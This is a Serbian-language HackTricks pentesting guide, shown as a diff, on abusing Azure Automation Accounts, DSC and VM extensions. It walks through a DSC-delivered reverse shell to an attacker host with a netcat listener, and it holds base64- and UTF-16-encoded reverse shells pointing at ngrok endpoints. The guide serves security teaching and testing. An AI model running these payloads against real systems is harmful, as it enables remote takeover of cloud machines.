**Proverite ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### Sažetak pripreme infrastrukture udaljenog servera (C2) i koraka
#### Pregled
Proces uključuje postavljanje infrastrukture udaljenog servera za hostovanje modifikovanog Nishang `Invoke-PowerShellTcp.ps1` payload-a, nazvanog `RevPS.ps1`, dizajniranog da zaobiđe Windows Defender. Payload se servira sa Kali Linux mašine sa IP `40.84.7.74` koristeći jednostavan Python HTTP server. Operacija se izvršava kroz nekoliko koraka:
#### Korak 1 — Kreirajte fajlove
- **Potrebni fajlovi:** Potrebna su dva PowerShell skripta:
1. `reverse_shell_config.ps1`: Fajl Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Skripta za objavljivanje konfiguracije na VM, dostupna na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
- **Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a.
#### Korak 2 — Zip konfiguracioni fajl
- `reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za prenos na Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Korak 3 — Postavi kontekst skladišta i otpremi
- Zipped konfiguracioni fajl se otprema u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ovu Set-AzStorageBlobContent cmdlet.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
#### Korak 4 — Priprema Kali Box-a
- Kali server preuzima RevPS.ps1 payload iz GitHub repozitorijuma.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- Skripta je uređena da specificira ciljni Windows VM i port za reverznu ljusku.
#### Korak 5 — Objavi Konfiguracioni Fajl
- Konfiguracioni fajl se izvršava, što rezultira u tome da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u.
#### Korak 6 — Hostuj Payload i Postavi Listener
- Python SimpleHTTPServer se pokreće da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
- Zakazani zadatak izvršava payload, postižući privilegije na nivou SISTEMA.
#### Zaključak
Uspešna izvršenja ovog procesa otvara brojne mogućnosti za dalja delovanja, kao što su iskopavanje kredencijala ili proširenje napada na više VM-ova. Vodič podstiče kontinuirano učenje i kreativnost u oblasti Azure Automation DSC.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,227 @@
# Az - Automation Accounts
{{#include ../../../../banners/hacktricks-training.md}}
## Osnovne informacije
Azure Automation Accounts su usluge zasnovane na oblaku u Microsoft Azure koje pomažu u **automatizaciji zadataka** kao što su upravljanje resursima, konfiguracija i ažuriranja širom Azure i lokalnih okruženja. Pružaju **Runbooks** (skripte za automatizaciju koje se izvršavaju), **rasporede** i **grupe hibridnih radnika** za pokretanje automatizovanih **poslova**, omogućavajući infrastrukturu kao kod (IaC) i automatizaciju procesa za poboljšanu efikasnost i doslednost u upravljanju resursima u oblaku.
### Podešavanja
- **Akreditivi**: Lozinka je dostupna samo unutar runbook-a unutar automatizovanog naloga, koriste se za **sigurno čuvanje korisničkih imena i lozinki**.
- **Promenljive**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može biti i osetljiva informacija kao što su API ključevi. Ako je promenljiva **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga.
- **Sertifikati**: Koriste se za čuvanje **sertifikata** koji se mogu koristiti u runbook-ima.
- **Konekcije**: Koriste se za čuvanje **informacija o konekciji** ka spoljnim uslugama. Ovo može sadržati **osetljive informacije**.
- **Pristup mreži**: Može se postaviti na **javnu** ili **privatnu**.
## Runbooks & Poslovi
Runbook u Azure Automation je **skripta koja automatski obavlja zadatke** unutar vašeg okruženja u oblaku. Runbook-i se mogu pisati u PowerShell-u, Python-u ili grafičkim uređivačima. Pomažu u automatizaciji administrativnih zadataka kao što su upravljanje VM-ovima, zakrčivanje ili provere usklađenosti.
U **kod**-u unutar **Runbooks** može se nalaziti **osetljive informacije** (kao što su akreditivi).
Idite na `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
**Posao je instanca izvršenja Runbook-a**. Kada pokrenete Runbook, kreira se posao za praćenje tog izvršenja. Svaki posao uključuje:
- **Status**: U redu, U toku, Završeno, Neuspešno, Suspendovano.
- **Izlaz**: Rezultat izvršenja Runbook-a.
- **Vreme početka i završetka**: Kada je posao započeo i završen.
Posao sadrži **izlaz** izvršenja **Runbook-a**. Ako možete **pročitati** **poslove**, učinite to jer **sadrže** **izlaz** izvršenja (potencijalno **osetljive informacije**).
### Rasporedi & Webhook-ovi
Postoje 3 glavna načina za izvršavanje Runbook-a:
- **Rasporedi**: Koriste se za **pokretanje** Runbook-a u **određenom vremenu** ili **intervalu**.
- **Webhook-ovi**: Ovo su **HTTP krajnje tačke** koje se mogu koristiti za **pokretanje** Runbook-a iz **spoljnih usluga**. Imajte na umu da URL webhook-a **nije vidljiv** nakon kreiranja.
- **Ručno pokretanje**: Možete **ručno pokrenuti** Runbook iz Azure Portala i iz CLI-a.
### Kontrola izvora
Omogućava uvoz Runbook-a iz **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Moguće je naznačiti da se objave Runbook-i iz repozitorijuma u Azure Automation nalog i takođe je moguće naznačiti da se **sinhronizuju promene iz repozitorijuma** u Azure Automation nalog.
Kada je sinhronizacija omogućena, u **Github repozitorijumu se kreira webhook** za pokretanje sinhronizacije svaki put kada se dogodi događaj push. Primer URL-a webhook-a: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Imajte na umu da ovi webhook-ovi **neće biti vidljivi** prilikom listanja webhook-ova u povezanim runbook-ima sa Github repozitorijumom. Takođe, imajte na umu da **nije moguće promeniti URL repozitorijuma** kontrole izvora nakon što je kreiran.
Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljani identitet (sistem ili korisnik) sa **`Contributor`** ulogom. Štaviše, da bi se dodelio korisnički upravljani identitet automatizovanom nalogu, moguće je to učiniti jednostavno postavljanjem promenljive **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** na **ID klijenta korisničkog upravljanog identiteta**.
### Okruženja za izvršavanje
Kada kreirate Runbook, moguće je odabrati okruženje za izvršavanje. Po defaultu, sledeća okruženja za izvršavanje su dostupna:
- **Powershell 5.1**
- **Powershell 7.1**
- **PowerShell 7.2**
- **Python 3.10**
- **Python 3.8**
- **Python 2.7**
Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti prisutni u izvršavanju.
### Hibridni radnik
Runbook se može izvršavati u **kontejneru unutar Azure-a** ili u **Hibridnom radniku** (mašina koja nije Azure).\
**Log Analytics Agent** se instalira na VM-u da bi se registrovao kao hibridni radnik.\
Poslovi hibridnog radnika se izvršavaju kao **SYSTEM** na Windows-u i **nxautomation** nalogu na Linux-u.\
Svaki Hibridni radnik je registrovan u **Hibridnoj radničkoj grupi**.
Stoga, ako možete odabrati da pokrenete **Runbook** u **Windows Hibridnom radniku**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika).
### Konfiguracija stanja (SC)
>[!WARNING]
> Kao što je navedeno u [dokumentaciji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration će biti povučena 30. septembra 2027. i zamenjena [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Automation Accounts takođe podržavaju **Konfiguraciju stanja (SC)**, što je funkcija koja pomaže u **konfigurisanju** i **održavanju** **stanja** vaših VM-ova. Moguće je **kreirati** i **primeniti** DSC konfiguracije na **Windows** i **Linux** mašinama.
Iz perspektive napadača ovo je bilo zanimljivo jer je omogućilo **izvršavanje arbitrarnih PS kodova u svim konfiguriranim VM-ovima**, omogućavajući eskalaciju privilegija na upravljane identitete ovih VM-ova, potencijalno prelazeći na nove mreže... Takođe, konfiguracije su mogle sadržati **osetljive informacije**.
## Enumeracija
```bash
# List Automation Accounts
az automation account list --output table
# Get Automation Account details
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
# Check the managed identities in `identity`
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get keys of automation account
## These are used for the DSC
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get schedules of automation account
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get connections of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
# Get connection details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
# Get credentials of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
# Get credential details
## Note that you will only be able to access the password from inside a Runbook
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
# Get certificates of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
# Get certificate details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
# Get variables of automation account
## It's possible to get the value of unencrypted variables but not the encrypted ones
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
# Get variable details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
# Get runbooks of an automation account
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get runbook details
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
# Get runbook content
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
# Get jobs of an automation account
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get job details
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
# Get job output
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
# Get the Runbook content when the job was executed
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
# Get webhooks inside an automation account
## It's possible to see to which runbook it belongs in the given data
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
## Generating a webhook can be useful from a persistence perspective
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
az automation runtime-environment list \
--resource-group <res-group>> \
--automation-account-name <account-name> \
--query "[?!(starts_with(description, 'System-generated'))]"
# Get State Configurations (SC) of an automation account
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get State Configuration details
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
```
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## Eskalacija privilegija i post eksploatacija
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Reference
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -12,20 +12,20 @@ az-azure-network.md
## Osnovne informacije o VM-ovima
Azure Virtuelne Mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani na oblaku koji vam omogućavaju da pokrećete Windows ili Linux operativne sisteme**. Omogućavaju vam da implementirate aplikacije i radne opterećenja bez upravljanja fizičkim hardverom. Azure VM-ovi se mogu konfigurirati sa različitim CPU, memorijskim i skladišnim opcijama kako bi zadovoljili specifične potrebe i integrisali se sa Azure uslugama kao što su virtuelne mreže, skladištenje i alati za bezbednost.
Azure virtuelne mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani na oblaku koji vam omogućavaju da pokrećete Windows ili Linux operativne sisteme**. Omogućavaju vam da implementirate aplikacije i radne opterećenja bez upravljanja fizičkim hardverom. Azure VM-ovi se mogu konfigurirati sa različitim opcijama CPU-a, memorije i skladišta kako bi zadovoljili specifične potrebe i integrisali se sa Azure uslugama kao što su virtuelne mreže, skladište i alati za bezbednost.
### Konfiguracije bezbednosti
- **Zoni dostupnosti**: Zone dostupnosti su različite grupe datacentara unutar specifične Azure regije koje su fizički odvojene kako bi se smanjio rizik od uticaja više zona usled lokalnih prekida ili katastrofa.
- **Zone dostupnosti**: Zone dostupnosti su različite grupe datacentara unutar specifične Azure regije koje su fizički odvojene kako bi se smanjio rizik od uticaja lokalnih prekida ili katastrofa na više zona.
- **Tip bezbednosti**:
- **Standardna bezbednost**: Ovo je podrazumevani tip bezbednosti koji ne zahteva nikakvu specifičnu konfiguraciju.
- **Pouzdano pokretanje**: Ovaj tip bezbednosti poboljšava zaštitu od boot kitova i malvera na nivou jezgra korišćenjem Secure Boot i Virtual Trusted Platform Module (vTPM).
- **Pouzdano pokretanje**: Ovaj tip bezbednosti poboljšava zaštitu od boot kitova i malvera na nivou jezgra korišćenjem Secure Boot-a i Virtual Trusted Platform Module (vTPM).
- **Poverljive VM-ove**: Pored pouzdanog pokretanja, nudi hardversku izolaciju između VM-a, hipervizora i host menadžmenta, poboljšava enkripciju diska i [**više**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Autentifikacija**: Podrazumevano se generiše nova **SSH ključ**, iako je moguće koristiti javni ključ ili prethodni ključ, a podrazumevano korisničko ime je **azureuser**. Takođe je moguće konfigurisati korišćenje **lozinke.**
- **Autentifikacija**: Podrazumevano se generiše nova **SSH ključ**, iako je moguće koristiti javni ključ ili prethodni ključ, a podrazumevano korisničko ime je **azureuser**. Takođe je moguće konfigurirati korišćenje **lozinke.**
- **Enkripcija diska VM-a:** Disk je podrazumevano enkriptovan kada je u mirovanju koristeći ključ koji upravlja platforma.
- Takođe je moguće omogućiti **Enkripciju na hostu**, gde će podaci biti enkriptovani na hostu pre slanja u skladišnu uslugu, osiguravajući end-to-end enkripciju između hosta i skladišne usluge ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC mrežna sigurnosna grupa**:
- **Nema**: U suštini otvara svaku portu
- **Nema**: U suštini otvara svaki port
- **Osnovna**: Omogućava lako otvaranje ulaznih portova HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Napredna**: Izaberite sigurnosnu grupu
- **Backup**: Moguće je omogućiti **Standardni** backup (jednom dnevno) i **Poboljšani** (više puta dnevno)
@@ -39,7 +39,7 @@ Azure Virtuelne Mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani n
- Ukupna mreža izlaz je veća od 200GB
- VmAvailabilityMetric je manji od 1
- **Monitor zdravlja**: Podrazumevano proverava protokol HTTP na portu 80
- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne može biti obrisan (**CanNotDelete** zaključavanje).
- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne i obrisan (**CanNotDelete** zaključavanje).
- Većina resursa povezanih sa VM-ovima **takođe podržava zaključavanja** kao što su diskovi, snimci...
- Zaključavanja se takođe mogu primeniti na **nivoima grupe resursa i pretplate**
@@ -76,10 +76,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Slike, Galerijske slike i Tačke vraćanja
**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u određenom trenutku jednog upravljanog diska, koja se koristi prvenstveno za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\
**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u tački vremena jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\
Slike se mogu upravljati u **odeljku Slike** u Azure-u ili unutar **Azure compute galerija** koje omogućavaju generisanje **verzija** i **deljenje** slike između različitih korisnika, pa čak i njeno postavljanje kao javne.
**Tačka vraćanja** čuva konfiguraciju VM-a i **snapshots** aplikacija koji su konzistentni u tom trenutku za **sve upravljane diskove** povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku.
**Tačka vraćanja** čuva konfiguraciju VM-a i **snapshots** aplikacija u tački vremena koji su dosledni za sve upravljane diskove povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u toj specifičnoj tački.
{{#tabs}}
{{#tab name="az cli"}}
@@ -150,7 +150,7 @@ Iz [**dokumentacije**](https://learn.microsoft.com/en-us/azure/site-recovery/sit
Azure Bastion omogućava siguran i neometan **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** pristup vašim virtuelnim mašinama (VM) direktno kroz Azure Portal ili putem jump box-a. Tako što **uklanja potrebu za javnim IP adresama** na vašim VM-ima.
Bastion postavlja podmrežu nazvanu **`AzureBastionSubnet`** sa `/26` maskom mreže u VNet-u na kojem treba da radi. Zatim omogućava **povezivanje sa internim VM-ima putem pregledača** koristeći `RDP` i `SSH`, izbegavajući izlaganje portova VM-ova internetu. Takođe može raditi kao **jump host**.
Bastion postavlja podmrežu nazvanu **`AzureBastionSubnet`** sa `/26` maskom u VNet-u na kojem treba da radi. Zatim omogućava **povezivanje sa internim VM-ima putem pregledača** koristeći `RDP` i `SSH`, izbegavajući izlaganje portova VM-ova internetu. Takođe može raditi kao **jump host**.
Da biste naveli sve Azure Bastion hostove u vašoj pretplati i povezali se sa VM-ima putem njih, možete koristiti sledeće komande:
@@ -191,9 +191,9 @@ Get-AzBastion
Azure Instance Metadata Service (IMDS) **pruža informacije o aktivnim instancama virtuelnih mašina** kako bi pomogao u njihovom upravljanju i konfiguraciji. Nudi detalje kao što su SKU, skladište, mrežne konfiguracije i informacije o predstojećim događajima održavanja putem **REST API dostupnog na ne-rutabilnoj IP adresi 169.254.169.254**, koja je dostupna samo iz unutar VM-a. Komunikacija između VM-a i IMDS ostaje unutar hosta, obezbeđujući siguran pristup. Kada se upit vrši prema IMDS, HTTP klijenti unutar VM-a treba da zaobiđu web proksije kako bi obezbedili pravilnu komunikaciju.
Pored toga, da bi se kontaktirao krajnji tačka metapodataka, HTTP zahtev mora imati zaglavlje **`Metadata: true`** i ne sme imati zaglavlje **`X-Forwarded-For`**.
Pored toga, da bi se kontaktirao metadata endpoint, HTTP zahtev mora imati zaglavlje **`Metadata: true`** i ne sme imati zaglavlje **`X-Forwarded-For`**.
Proverite kako da ga enumerišete u:
Proverite kako ga enumerisati u:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
@@ -478,7 +478,7 @@ az vm extension set \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- Izvršite skriptu koja se nalazi na internetu
- Izvršite skriptu smeštenu na internetu
```bash
az vm extension set \
--resource-group rsc-group> \
@@ -509,7 +509,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Izvrši reverznu školjku iz datoteke
- Izvrši reverznu ljusku iz datoteke
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -549,7 +549,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<details>
<summary>DesiredConfigurationState (DSC)</summary>
<summary>DesiredStateConfiguration (DSC)</summary>
Ovo je **VM ekstenzija** koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VMs. Stoga se može koristiti za **izvršavanje proizvoljnih komandi** u Windows VMs putem ove ekstenzije:
```powershell
@@ -601,13 +601,13 @@ Set-AzVMDscExtension `
<details>
<summary>Hibridni Runbook Radnik</summary>
<summary>Hybrid Runbook Worker</summary>
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija pogledajte [Automation Accounts service](../az-automation-account/).
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija pogledajte [Automation Accounts service](../az-automation-account/index.html).
</details>
### VM Aplikacije
### VM Applications
Ovo su paketi sa svim **podacima o aplikaciji i skriptama za instalaciju i deinstalaciju** koji se mogu koristiti za lako dodavanje i uklanjanje aplikacija u VM-ovima.
```bash
@@ -627,7 +627,7 @@ Proverite kako da instalirate nove aplikacije na [https://learn.microsoft.com/en
> [!CAUTION]
> Moguće je **deliti pojedinačne aplikacije i galerije sa drugim pretplatama ili zakupcima**. Što je veoma zanimljivo jer bi to moglo omogućiti napadaču da unese backdoor u aplikaciju i pređe na druge pretplate i zakupce.
Ali **ne postoji "marketplace" za vm aplikacije** kao što postoji za ekstenzije.
Ali ne **postoji "marketplace" za vm aplikacije** kao što postoji za ekstenzije.
Potrebne dozvole su:
@@ -721,7 +721,7 @@ az vm application set \
### Korisnički podaci
Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci se razlikuju od AWS i GCP jer **ako ovde stavite skriptu, ona se po defaultu ne izvršava**.
Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci se razlikuju od AWS i GCP jer **ako ovde postavite skriptu, ona se po defaultu ne izvršava**.
### Prilagođeni podaci
@@ -729,9 +729,9 @@ Moguće je proslediti neke podatke VM-u koji će biti sačuvani na očekivanim p
- U **Windows** prilagođeni podaci se smeštaju u `%SYSTEMDRIVE%\AzureData\CustomData.bin` kao binarni fajl i ne obrađuju se.
- U **Linux** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml`
- **Linux agent**: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućеним podacima
- **Linux agent**: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućenim podacima
